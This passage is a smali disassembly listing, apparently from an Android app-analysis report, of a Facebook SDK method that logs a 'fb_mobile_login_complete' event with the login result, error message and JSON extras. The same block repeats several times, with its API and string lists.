                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
